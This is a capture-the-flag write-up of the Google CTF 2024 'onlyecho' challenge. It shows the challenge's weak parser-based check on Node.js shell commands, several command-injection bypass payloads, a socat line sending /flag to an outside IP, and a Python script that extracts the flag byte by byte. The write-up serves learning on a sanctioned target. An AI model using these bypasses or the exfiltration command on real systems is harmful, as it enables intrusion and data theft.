Google releases some really cool CTF challenges every year. This year was no exception. onlyecho
was one of the relatively easier ones, but it ended up being a lot of fun to solve. I was intrigued by the challenge and decided to dive right in.
This was the challenge description:
I like echo because my friends told me it’s safe. I made a shell that only allows you to run echo, how cool is that?
onlyecho.2024.ctfcompetition.com 1337
It also provided the code as an attachment.
To kick things off, I connected to the server using:
$ nc onlyecho.2024.ctfcompetition.com 1337
Upon connecting, I was met with a proof-of-work challenge. This is a typical step to prevent brute-force attacks. Once I solved that, the server prompted me to enter a command. I started simple with:
$ echo hello
And it worked perfectly. Now, the goal was to read the flag located at /flag
, and I had to do it only using echo
. My initial attempt was:
$ echo $(cat /flag)
Well, I used cat
, but I wanted to know what would happen if I broke the rules. It returned:
Hacker detected! No hacks, only echo!
The system was onto me. It looked like there were some checks happening behind the scenes that disallowed malicious commands. I decided to examine the provided code.
The attachment had 3 files: nsjail.cfg
, Dockerfile
, and challenge.js
. The first two were irrelevant, so I focused on challenge.js
, which contained the following code:
const readline = require('node:readline');
const parse = require('bash-parser');
const { exec } = require("child_process");
const check = ast => {
if (typeof(ast) === 'string') {
return true;
}
for (var prop in ast) {
if (prop === 'type' && ast[prop] === 'Redirect') {
return false;
}
if (prop === 'type' && ast[prop] === 'Command') {
if (ast['name'] && ast['name']['text'] && ast['name']['text'] != 'echo') {
return false;
}
}
if (!check(ast[prop])) {
return false;
}
}
return true;
};
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout,
});
rl.question(`I like scripts with echo. What's your favorite bash script? `, cmd => {
const ast = parse(cmd);
if (!ast.type === 'Script') {
rl.write('This is not even a script!');
rl.close();
return;
}
if (!check(ast)) {
rl.write('Hacker detected! No hacks, only echo!');
rl.close();
return;
}
exec(cmd, { shell: '/bin/bash' }, (error, stdout, stderr) => {
rl.write(stdout);
rl.close();
});
});
In short, the script parses the command and checks the Abstract Syntax Tree (AST) for any forbidden constructs (like redirects or non-echo commands).
Finding a bypass
I needed to sneak past these checks:
if (prop === 'type' && ast[prop] === 'Redirect') {
return false;
}
if (prop === 'type' && ast[prop] === 'Command') {
if (ast['name'] && ast['name']['text'] && ast['name']['text'] != 'echo') {
return false;
}
}
The bash parser
library looked interesting! I decided to check the source code on GitHub—the last update was 7 years ago. My initial thought was that there might be some vulnerability that I could exploit.
I installed the bash-parser
package locally to test payloads without interacting with the challenge server every time. I made a quick script that accepted an input, parsed it using bash-parser
, and printed the generated AST, along with debugging statements for all the checks. Here’s what the script looked like:
const readline = require('readline');
const parse = require('bash-parser');
const { exec } = require("child_process");
const check = ast => {
if (typeof(ast) === 'string') {
return true;
}
for (var prop in ast) {
if (prop === 'type' && ast[prop] === 'Redirect') {
console.log('Redirect found; failed')
return false;
}
if (prop === 'type' && ast[prop] === 'Command') {
if (ast['name'] && ast['name']['text'] && ast['name']['text'] != 'echo') {
console.log(`Command detected but '${ast['name']['text']}' not 'echo'; failed`)
return false;
}
}
if (!check(ast[prop])) {
console.log('!check(ast[prop]) failed')
return false;
}
}
return true;
};
const userInput = "echo $(cat flag)";
const astTest = parse(userInput);
console.log(JSON.stringify(astTest, null, 2));
if (check(astTest)) {
exec(userInput, { shell: '/bin/bash' }, (error, stdout, stderr) => {
if (error) {
console.error(`Execution error: ${error}`);
} else {
console.log(`stdout: ${stdout}`);
console.error(`stderr: ${stderr}`);
}
});
} else {
console.log('Input failed the check!');
}
This setup allowed me to test various payloads efficiently. As expected, testing with echo $(cat /flag)
failed, but the detailed output and the AST representation was useful:
{
"type": "Script",
"commands": [
{
"type": "Command",
"name": {
"text": "echo",
"type": "Word"
},
"suffix": [
{
"text": "$(cat flag)",
"expansion": [
{
"loc": {
"start": 0,
"end": 10
},
"command": "cat flag",
"type": "CommandExpansion",
"commandAST": {
"type": "Script",
"commands": [
{
"type": "Command",
"name": {
"text": "cat",
"type": "Word"
},
"suffix": [
{
"text": "flag",
"type": "Word"
}
]
}
]
}
}
],
"type": "Word"
}
]
}
]
}
Command detected but 'cat' not 'echo'; failed
!check(ast[prop]) failed
!check(ast[prop]) failed
!check(ast[prop]) failed
!check(ast[prop]) failed
!check(ast[prop]) failed
!check(ast[prop]) failed
!check(ast[prop]) failed
!check(ast[prop]) failed
!check(ast[prop]) failed
Input failed the check!
It failed because the command was cat
, not echo
.
The AST has a recursive structure, meaning the checks are applied to nested commands as well.
To bypass the two if
statements, I needed a command that:
- Would not be parsed by the AST as
Command
. - Would not contain shell redirects.
To find out what other AST types are there, I checked the documentation for bash-parser
.
Arithmetic Expansion
caught my eye. In Bash, arithmetic expansion allows the evaluation of an arithmetic expression and the substitution of the result. The format for arithmetic expansion is:
$(( expression ))
I created a fake flag at /flag
in my local system, and tried:
$ echo $(( echo $(cat /flag) ))
The output was:
bash: echo this-is-a-fake-flag : syntax error in expression (error token is "this-is-a-fake-flag ")
The fake flag I created (this-is-a-fake-flag
) was in the output. This meant I had command injection!
However, there was a problem—the actual challenge.js
script only returned the contents of STDOUT, not STDERR, and my output was printing to STDERR. This meant the output wouldn’t be visible in the challenge environment.
To confirm my suspicion, I tested the payload on the challenge server. Surprisingly, I received the following error:
node:internal/readline/emitKeypressEvents:74
throw err;
^
SyntaxError: Cannot parse arithmetic expression " echo $(cat /flag) ": Unexpected token, expected ; (1:6)
at parseArithmeticAST (/home/user/node_modules/bash-parser/src/modes/posix/rules/arithmetic-expansion.js:15:9)
at /home/user/node_modules/bash-parser/src/modes/posix/rules/arithmetic-expansion.js:35:50
at Array.map (<anonymous>)
at /home/user/node_modules/bash-parser/src/modes/posix/rules/arithmetic-expansion.js:33:54
at Object.next (/home/user/node_modules/map-iterable/index.js:35:18)
at Object.next (/home/user/node_modules/map-iterable/index.js:33:30)
at Object.next (/home/user/node_modules/iterable-lookahead/index.js:54:21)
at Object.next (/home/user/node_modules/map-iterable/index.js:33:30)
at Object.next (/home/user/node_modules/iterable-lookahead/index.js:51:24)
at Object.next (/home/user/node_modules/map-iterable/index.js:33:30)
Node.js v18.19.1
After some experimentation, I figured out that the error was because parser couldn’t handle the $(...)
syntax. So, I replaced $(...)
with backticks:
echo $(( echo `cat /flag` ))
The challenge server did not return any errors this time! I knew the command was executed on the server, but I couldn’t view the output. Now, I needed to find some way to leak the flag.
Stealing the flag
My first thought was to exfil it using a tool such as cURL. However, after reviewing the Dockerfile
, I realized only socat
and nodejs
were installed.
I set up a listener on my server with:
$ nc -l -p 8080
And then I tried to leak the flag using socat
:
$ echo $(( echo `cat /flag | socat - TCP:100.100.100.100:8080` ))
Although it worked on my local system, it didn’t work on the challenge server. The server was likely firewalled and blocking outbound requests. After several unsuccessful attempts to exfiltrate the flag using socat
, and nodejs
, I decided to explore alternative approaches.
The problem was that my arithmetic expression inside $(( ... ))
was invalid, leading to no output. After some head-scratching, I landed on the idea of leaking the flag by converting each character to its ASCII value. This way, the arithmetic expression would be valid, and I could bypass the syntax error.
I tested this approach:
$ echo $(( `cat /flag | head -c 1 | tail -c 1 | od -An -t d1` ))
This command reads the first byte of /flag
, converts it to ASCII, and outputs that number. Running that command, I got the following output:
67
That worked! The ASCII equivalent for 67 was C
. I didn’t want to manually extract each character, so I wrote a script to automate the process. I knew there was definitely a neater way to accomplish the same, but I was lazy, and just went with what I had.
Automate all the things
I created a Python script to automate the following tasks:
- Solve the proof-of-work challenge.
- Read each character of the flag and convert it to its ASCII value.
- Join all ASCII values to reconstruct the flag.
Here’s the script I came up with:
import subprocess
import socket
import re
import time
from tqdm import tqdm
def get_pow_solution(pow_challenge):
result = subprocess.run(["python3", "kctf_pow.py", "solve", pow_challenge], capture_output=True, text=True)
return result.stdout.strip()
def receive_data(sock, buffer):
data = sock.recv(1024).decode()
buffer.append(data)
def extract_ascii_value(char_index):
host = "onlyecho.2024.ctfcompetition.com"
port = 1337
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
data = s.recv(1024).decode()
pow_challenge = re.search(r"\) solve\s+(\S+)", data).group(1)
pow_solution = get_pow_solution(pow_challenge)
s.sendall(pow_solution.encode() + b'\n')
command = f"echo $(( `cat /flag | head -c {char_index} | tail -c 1 | od -An -t d1` ))"
s.sendall(command.encode() + b'\n')
time.sleep(1)
buffer = []
receive_data(s, buffer)
buffer_data = ''.join(buffer)
match = re.search(r'^\d+', buffer_data, re.MULTILINE)
if match:
ascii_value = int(match.group())
else:
ascii_value = None
s.close()
return ascii_value
def main():
flag_ascii_values = []
flag_length = 50
try:
progress_bar = tqdm(total=flag_length, desc="Extracting flag", unit="char")
for i in range(1, flag_length + 1):
ascii_value = extract_ascii_value(i)
if ascii_value is not None:
flag_ascii_values.append(ascii_value)
progress_bar.update(1)
else:
break
progress_bar.close()
# Decode the ASCII values back to the flag
flag = ''.join(chr(value) for value in flag_ascii_values)
print(f"\nExtracted flag: {flag}")
except KeyboardInterrupt:
print("\nExiting...")
if __name__ == "__main__":
main()
The script first solves the PoW challenge. It then uses command injection to extract the ASCII value of each character in the flag, one by one. Finally, it reconstructs the flag string from these ASCII values.
I ran the script, and three minutes later, I had the following output:
Victory at last!
Other solutions
My solution felt really hacky, so after the challenge ended, I checked the CTF Discord to see how other players solved it. As expected, others had more elegant approaches that retrieved the flag in one go.
Discord user pitust used:
$ a=b; echo "${a/b/$(cat /flag)}"
It was a nice usage of parameter expansion.
fredd came up with:
$ echo $((`echo lol > /tmp/$(cat /flag)`)); echo /tmp/*
This also used arithmetic expressions like I did, but they solved the STDOUT error by creating a file with that name. Nice, I hadn’t thought of that!
amelkiy from pasten team had:
$ echo `echo \#; cat /flag`
This was my favorite of all. I’m not sure exactly why it works, but it looks very elegant.
Despite being a relatively easy challenge, it was enjoyable, and the creativity of the solutions was impressive. Kudos to the challenge author!